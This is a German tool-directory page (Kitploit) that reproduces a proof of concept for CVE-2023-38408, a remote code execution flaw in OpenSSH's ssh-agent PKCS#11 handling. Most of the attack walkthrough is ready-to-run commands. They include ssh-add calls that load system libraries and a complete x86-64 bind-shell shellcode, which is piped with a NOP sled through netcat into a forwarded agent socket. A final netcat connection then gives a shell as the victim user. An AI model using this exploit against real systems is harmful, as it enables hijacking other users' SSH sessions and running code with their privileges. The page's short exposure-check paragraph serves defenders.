Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2023-38408 — Kontoübernahme OpenSSH | Kitploit
Tools/GitHubGitHub/lucaspdiniz/cve-2023-38408
SchwachstellenanalyseExploitationPenetrationstestsLernen & BildungRemote-Access-ToolPayload-Entwicklung
GitHublucaspdiniz/cve-2023-38408

CVE-2023-38408

Kontoübernahme OpenSSH

Repository anzeigen
4564vor 2 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

OpenSSH-Sicherheitslücke - CVE-2023-38408 📚

Einleitung

Eine Sicherheitslücke wurde in OpenSSH (vor Version 9.3p2) gefunden. Die PKCS#11-Funktion im ssh-agent von OpenSSH hat einen unzureichend vertrauenswürdigen Suchpfad, was zu Remote-Codeausführung führt, wenn ein Agent an ein vom Angreifer kontrolliertes System weitergeleitet wird (der Code in /usr/lib ist nicht unbedingt sicher zum Laden in ssh-agent). Dieser Fehler ermöglicht es einem Angreifer mit Kontrolle über den weitergeleiteten Agent-Socket auf dem Server und der Fähigkeit, auf das Dateisystem des Client-Hosts zu schreiben, beliebigen Code mit den Berechtigungen des Benutzers auszuführen, der den ssh-agent ausführt.

Im folgenden Beispiel können wir kurz die Schritte von der Erkundung bis zur Kompromittierung des Benutzers Alice beobachten.

  • Schritt 1 - Der Angreifer verbindet sich über SSH mit dem Server.
  • Schritt 2 - Der Benutzer Alice ist ebenfalls über SSH auf dem Server verbunden.
  • Schritt 3 - Der Angreifer erstellt Shellcode, um ihn über den SSH-Prozess an den Zielserver zu senden.
  • Schritt 4 - Der vom Angreifer gesendete Shellcode nutzt die PKCS#11-Schwachstelle des ssh-agent aus und erstellt einen neuen Prozess, der den SSH-Zugriff des Benutzers Alice kapert.
  • Schritt 5 - Über den normalen Zugriff des Angreifers ist es möglich, Betriebsbefehle als Benutzer Alice auszuführen, indem der im Shellcode erstellte Exploit über nc localhost 31337 aufgerufen wird.

Wie geht das? Erstellen wir den POC

Wie bereits erwähnt, werden wir in diesem POC zwei Benutzer verwenden, die über SSH mit einem Server verbunden sind. Um den folgenden Schritten zu folgen, gehen wir davon aus, dass die beiden Benutzer bereits Zugriff auf den Server (SSH) haben.

  1. Ermitteln Sie die PID des SSH-Agenten, der auf dem entfernten Angreiferrechner läuft, und exportieren Sie sie in eine Umgebungsvariable. Wir haben auch über ssh-add die Datei linuxx64.elf.stub (UEFI-Boot-Stub) hinzugefügt.
Tool herunterladen
root@kitploit:~
echo /tmp/ssh-*/agent.*
export SSH_AUTH_SOCK=/tmp/ssh-NqLP6il36s/agent.3452
ssh-add -s /usr/lib/systemd/boot/efi/linuxx64.elf.stub

  1. Um nun den Shellcode mithilfe von SSH in den Prozess zu kopieren, müssen Sie die folgenden Schritte auf dem Angreiferrechner ausführen;
root@kitploit:~
SHELLCODE=$'\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x4d\x31\xd2\x41\x52\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\x48\x89\xe6\x41\x50\x5f\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x41\x50\x5f\x6a\x01\x5e\x6a\x32\x58\x0f\x05\x48\x89\xe6\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2\x41\x50\x5f\x6a\x2b\x58\x0f\x05\x59\x4d\x31\xc9\x49\x89\xc1\x4c\x89\xcf\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05'
(perl -e 'print "\0\0\x27\xbf\x14\0\0\0\x10/usr/lib/modules\0\0\x27\xa6" . "\x90" x 10000'; echo -n "$SHELLCODE") | nc -U "$SSH_AUTH_SOCK"

Drücken Sie abschließend Strg-C, um die Netcat-Übertragung zu stoppen, sobald der Shellcode erfolgreich im Speicher des Agenten platziert wurde.

  1. In diesem Schritt laden wir 3 Dateien über ssh-add hoch; libttcn3-rt2-dynamic.so, libKF5SonnetUi.so.5.92.0 und libns3.35-wave.so.0.0.0. Der nächste Schritt im Exploit-Prozess ist die Registrierung des Signal-Handlers für das Signal Segmentierungsfehler (SIGSEGV).

[!NOTE] SIGSEGV auslösen 💬
SIGSEGV ist ein Signal, das einem Computerprozess gesendet wird, wenn ein ungültiger Speicherzugriff (Segmentierungsfehler) auftritt. Nach Erhalt des SIGSEGV-Signals erkennt der Kernel, dass ein ungültiger Speicherzugriff stattgefunden hat, und ruft den benutzerdefinierten Signal-Handler auf, anstatt das Programm abrupt zu beenden. Dadurch erhält der Angreifer die Möglichkeit, die Programmausführung zu manipulieren und sie auf den injizierten bösartigen Code im NOP-Sled zu lenken.

root@kitploit:~
ssh-add -s /usr/lib/titan/libttcn3-rt2-dynamic.so
[Enter for passphrase]
ssh-add -s /usr/lib/x86_64-linux-gnu/libKF5SonnetUi.so.5.92.0
[Enter for passphrase]
ssh-add -s /usr/lib/x86_64-linux-gnu/libns3.35-wave.so.0.0.0
[Enter for passphrase]

  1. An diesem Punkt haben wir es bereits geschafft, den Benutzer Alice über den SSH-Zugriff des Angreifers auf den Server auszunutzen, indem wir den folgenden vom Shellcode erstellten Befehl ausführen. 🔥
root@kitploit:~
nc localhost 31337

Bin ich von CVE-2023-38408 betroffen ❓

Die Sicherheitslücke betrifft hauptsächlich Systeme, auf denen der SSH-Agent von OpenSSH verwendet wird und die Agent-Weiterleitungsfunktion aktiviert ist. Organisationen und Einzelpersonen, die auf OpenSSH angewiesen sind, sollten umgehend ihre Konfigurationen überprüfen, um eine potenzielle Gefährdung festzustellen. Wenn Ihr System die genannten Bedingungen erfüllt, ist es entscheidend, sofort Maßnahmen zu ergreifen, um das mit CVE-2023-38408 verbundene Risiko zu mindern.